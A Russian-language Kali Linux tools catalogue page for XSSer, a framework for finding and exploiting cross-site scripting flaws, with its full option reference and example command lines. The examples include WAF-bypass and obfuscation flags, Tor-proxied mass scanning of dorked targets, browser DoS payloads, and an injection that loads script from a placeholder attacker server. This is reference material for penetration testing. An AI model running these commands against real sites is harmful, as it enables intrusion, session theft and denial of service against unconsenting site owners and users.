Инструменты Kali Linux
Список инструментов для тестирования на проникновение и их описание
XSSer
Описание XSSer
Cross Site «Scripter» (также известный как XSSer) – это автоматический фреймворк по обнаружению, эксплуатации и сообщению о XSS уязвимостях в веб-приложениях.
Инструмент содержит несколько опций для обхода определённых фильтров и различные специальные техники внедрения кода.
Справка по XSSer
xsser [ОПЦИИ] [--all|-u |-i |-d (опции)|-l ] [-g |-p |-c (опции)] [Запросы(ы)] [Проверяльщик(и)] [Вектор(ы)] [Анти-антиXSS/IDS] [Обходчик(и)] [Техника(и)] Окончательное вредрение(я)] [Составление отчёта]
Опции: --version показать номер версии программы и выйти -h, --help показать справку и выйти -s, --statistics показывать продвинутую статистику по выводимым результатам -v, --verbose активировать вербальный режим выводимых результатов --gtk запустить GTK интерфейс XSSer --wizard запустить мастер помощника! *Специальные функции*: Вы можете установить вектор(ы) и байпассер(ы) для построения сложных скриптов для внедряемого кода XSS. XST позволяет вам обнаружить, уязвима ли цель к 'Cross Site Tracing' [CAPEC-107]: --imx=IMX IMX – Создать изображение с XSS (--imx image.png) --fla=FLASH FLA – Создать флеш муви с XSS (--fla movie.swf) --xst=XST XST - Cross Site Tracing (--xst http(s)://host.com) *Выбор цели(ей)*: По крайней мере одна из этих опций должна быть указан для установки источника из которого получать urls целей: --all=ЦЕЛЬ Автоматически провести аудит всей цели -u URL, --url=URL Ввод цели для аудита -i READFILE Прочитать url цели(ей) из файла -d ДОРК Поиск цели(ей) используя запрос (например: 'news.php?id=') -l Поиск по списку 'дорков' --De=DORK_ENGINE Использовать этот поисковый движок (по умолчанию: duck) --Da Массовый поиск используя все поисковые движки *Выбор типа HTTP/HTTPS подключения(ий)*: Эти опции могут применяться для указания параметра(ов), Который мы хотим использовать для внедрения полезной: -g GETDATA Отправлять полезную нагрузку используя GET (пример: '/menu.php?q=') -p POSTDATA Отправлять полезную нагрузку используя POST (пример: 'foo=1&bar=') -c CRAWLING Число url для обхода на цели(ях): 1-99999 --Cw=CRAWLER_WIDTH Уровень глубина обходчика: 1-5 (по умолчанию 3) --Cl Обходить только локальные целевые url (по умолчанию TRUE) *Настройка запроса(ов)*: Эти опции могут использоваться для указания, как подключаться к целевой полезной нагрузке. Можно выбрать несколько: --cookie=COOKIE Изменить заголовок ваших HTTP Cookie --drop-cookie Игнорировать заголовок Set-Cookie из ответа --user-agent=AGENT Изменить ваш заголовок HTTP User-Agent (по умолчанию SPOOFED) --referer=REFERER Использовать другой заголовок HTTP Referer (по умолчанию NONE) --xforw Установить ваш HTTP X-Forwarded-For на случайное значение IP --xclient Установить ваш HTTP X-Client-IP на случайное значение IP --headers=HEADERS Дополнительные HTTP заголовки, разделённые переходом строки --auth-type=ATYPE Тип HTTP аутентификации (Basic, Digest, GSS или NTLM) --auth-cred=ACRED Учётные данные HTTP аутентификации (имя:пароль) --proxy=PROXY Использовать прокси сервер (tor: http://localhost:8118) --ignore-proxy Игнорировать системный HTTP прокси по умолчанию --timeout=TIMEOUT Выбрать ваш таймаут (по умолчанию 30) --retries=RETRIES Повторные попытки при таймауте соединения (по умолчанию 1) --threads=ПОТОКИ Максимальное количество одновременных HTTP запросов (по умолчанию 5) --delay=ЗАДЕРЖКА Задержка в секундах между каждым HTTP запросом (по умолчанию 0) --tcp-nodelay Использовать опциюTCP_NODELAY --follow-redirects Следовать редиректам сервера в ответах (302) --follow-limit=FLI Установить лимит для редиректов запросов (по умолчанию 50) *Системы проверки*: Эти опции полезны чтобы знать, использует ли ваша цель фильтры против XSS атак: --hash отправить хеш для проверки, повторяет ли цель контент --heuristic обнаружить параметры, фильтруемые с помощью эвристики --discode=DISCODE установить код на ответ для отмены инъекции --checkaturl=ALT проверить ответ используя: альтернативный url -> Слепая XSS --checkmethod=ALTM проверить ответ используя: GET или POST (по умолчанию: GET) --checkatdata=ALD проверить ответ используя: альтернативную полезную нагрузку --reverse-check установить обратное подключение с цели на XSSer для удостоверения, что 100% уязвимость (рекомендуется!) *Выбор вектора(ов)*: Эти опции могут использоваться для указания кода внедрения. Важно, если вы не хотите внедрять распространённый XSS вектор, который используется по умолчанию. Выберите только одну опцию: --payload=СКРИПТ OWN - Внедрение вашего собственного кода --auto AUTO – Внедрение списка векторов, предоставляемых XSSer *Анти-антиXSS правила файервола*: Эти опции могут использоваться для попытки обойти определённые WAF/IDS продукты. Выберите только если требуются: --Phpids0.6.5 PHPIDS (0.6.5) [ALL] --Phpids0.7 PHPIDS (0.7) [ALL] --Imperva Imperva Incapsula [ALL] --Webknight WebKnight (4.1) [Chrome] --F5bigip F5 Big IP [Chrome + FF + Opera] --Barracuda Barracuda WAF [ALL] --Modsec Mod-Security [ALL] --Quickdefense QuickDefense [Chrome] *Выбор байпассера(а) - обходчика*: Эти опции используются для кодирования вектора(ов) и попытки обойти возможные анти-XSS фильтры. Их можно комбинировать с другими техниками: --Str Использовать метод String.FromCharCode() --Une Использовать функцию Unescape() --Mix Смешать String.FromCharCode() и Unescape() --Dec Использовать десятичную кодировку --Hex Использовать шестнадцатеричную кодировку --Hes Использовать шестнадцатеричную кодировку с точками запятыми --Dwo Кодировать IP адрес с DWORD --Doo Кодировать IP адрес с Octal --Cem=CEM Установить различные 'Character Encoding Mutations' (мутации Кодировки символов) (реверсивные обфускаторы) (пример: 'Mix,Une,Str,Hex') *Специальная техника(и)*: Эти опции могут использоваться для внедрения кода с применением различных XSS техник. Вы можете выбрать несколько: --Coo COO - Cross Site Scripting Cookie внедрение --Xsa XSA - Cross Site Agent Scripting --Xsr XSR - Cross Site Referer Scripting --Dcp DCP - Data Control Protocol инъекции --Dom DOM – Инъекции в объектную модель документа --Ind IND - HTTP Response Splitting Induced code --Anchor ANC – Использовать незаметную анкорную полнезную нагрузку (DOM затенение!) *Выбрать конечную инъекцию(ии)*: Эти опции могут использоваться для указания конечного кода для внедрения в уязвимую цель(и). Важно если вы хотите эксплуатировать 'on-the-wild' («дикую») найденную уязвимость. Выберите только одну опцию: --Fp=FINALPAYLOAD OWN - Эксплуатировать ваш собственный код --Fr=FINALREMOTE REMOTE – Эксплуатировать скрипт -удалённо- --Doss DOSs - XSS (сервер) Отказ в обслуживании --Dos DOS - XSS (клиент) Отказ в обслуживании --B64 B64 - Кодирование Base64 к META tag (rfc2397) *Специальное финальное внедрение(я)*: Эти опции могут использоваться для выполнения некоторой специальной инъекции(ий) на уязвимой цели(ях). Вы можете несколько и комбинировать их с вашим конечным кодом (за исключением с DCP кодом): --Onm ONM – Использовать событие onMouseMove() --Ifr IFR – Использовать тэг истончика *Составление отчётов*: --save экспортировать в файл (XSSreport.raw) --xml=FILEXML экспортировать в XML (--xml file.xml) *Прочее*: --silent подавлять вывод результатов в консоль --no-head НЕ отправлять запрос HEAD перед началом теста --alive=ISALIVE установить лимит ошибок перед проверкой жива ли цель --update проверить последнюю стабильную версию
Руководство по XSSer
Примеры запуска XSSer
Запуск графического интерфейса:
Простое внедрение из файла, с Tor проски и подменёнными заголовками HTTP Referer:
xsser -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
Множественное внедрение из URL, с автоматической полезной нагрузкой, установлением обратного подключения (для удостоверения, что цель на 100% уязвима) и показом статистики:
xsser -u "http://host.com" --auto --reverse-check -s
Множественное внедрение из URL, с автоматической полезной нагрузкой, использованием прокси Tor, использованием «Шестнадцатеричной» кодировки, с вербальным выводом и сохранением результатов в файл (XSSreport.raw):
xsser -u "http://host.com" --auto --proxy "http://127.0.0.1:8118" --Hex --verbose --save
Множественное внедрение из URL, с автоматической полезной нагрузкой, используя перестановку символов кодировки (во-первых, изменение полезной нагрузки на «Шестнадцатеричную»; затем, изменение ‘StringFromCharCode’ первого; в-третьих, перекодирование «Шестнадцатеричной» во вторую), с подменой HTTP User-Agent, изменение таймаута на «20» и использование многопоточности (5 потоков):
xsser -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer Pentesting Tool" --timeout "20" --threads "5"
Продвинутое внедрение из файла, полезная нагрузка с вашим собственным кодом, используя Unescape() кодировки символов для обхода фильтров:
xsser -i "urls.txt" --payload "!здесь введите ваш код для инъекции!" --Une
Внедрение из дорка, выбор «google» в качестве поискового движка:
xsser --De "google" -d "search.php?q="
Внедрение из списка дорков, извлечённого из файла (предоставленного XSSer) и использование всех поддерживаемых поисковых движков (Шторм XSSer!):
Внедрение из обходчика с глубиной 3 и 4 страницы для обзора (Паук XSSer!):
xsser -c3 --Cw=4 -u "http://host.com"
Простое внедрение из URL в параметр POST (например: password), с результатами статистики:
xsser -u "http://host.com/index.php" -p "target=login&user=admin&password=" -s
Простое внедрение из URL, используя GET, внедряя в куки, пытаясь использовать теневое пространство DOM (не фиксируется на сервере!) и если существуют какие-либо уязвимости, эксплуатировать ваш собственный конечный код:
xsser -u "http://host.com" -g "/path?vuln=" --Coo --Dom --Fp="!здесь введите ваш код для инъекции!"
Простое внедрение из URL используя GET и если существует какая-либо уязвимость, эксплуатировать DoS (отказ в обслуживании) код для браузеров:
xsser -u "http://host.com" -g "/path?vuln=" --Dos
Множественное внедрение в несколько мест, извлечение целей из файла, применение автоматической полезной нагрузки, изменение таймаута на «20» и использование многопоточности (5 потоков), увеличение задержки между запросами до 10 секунд, внедрение параметров в HTTP USer-Agent, HTTP Referer и Cookies, использование прокси Tor, с восьмеричной обфускацией IP, с результатами статистики и использованием вербального режима (реальный боевой режим!):
xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose
Внедрение XSS кода переданного пользователем в фальшивом изображении:
xsser --Imx "test.png" --payload "!здесь введите ваш код для инъекции!"
Сообщать в выводе о «позитивных» внедрениях из поиска по доркам (используя все поисковые машины) в XML файл:
xsser -d "login.php" --Da --xml "security_report_XSSer_Dork_login-php_allengines.xml"
Создать Flash кино со стандартным включённым XSS кодом:
Отправить предварительно проверенный хеш чтобы увидеть, генерирует ли цель ответы ложного срабатывания:
Обнаружить фильтруемые параметры используя эвристику:
xsser -u "http://host.com" --heuristic
Эксплуатация кода в кодировке Base64 в тэге META (rfc2397) после внедрения ручной полезной нагрузки:
xsser -u "http://host.com" -g "/path?vuln=" --payload "!здесь введите ваш код для инъекции!" --B64
Эксплуатация вашего «собственного» удалённого кода в полезной нагрузке, обнаруженного с использованием автоматического фаззинга:
xsser -u "http://host.com" -g "/path?vuln=" --auto --Fr "https://attacker_server.org/path/code.js"
Применить анти-антиXSS обходчик (например: Imperva) перед внедрением вашего собственного кода, использовать вербальный вывод:
xsser -u "http://host.com" -g "/path?vuln=" --Imperva --payload "!здесь введите ваш код для инъекции!" -v
Установка XSSer
Программа предустановлена в Kali Linux.
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты XSSer
Инструкции по XSSer
Ссылки на инструкции будут добавлены позже.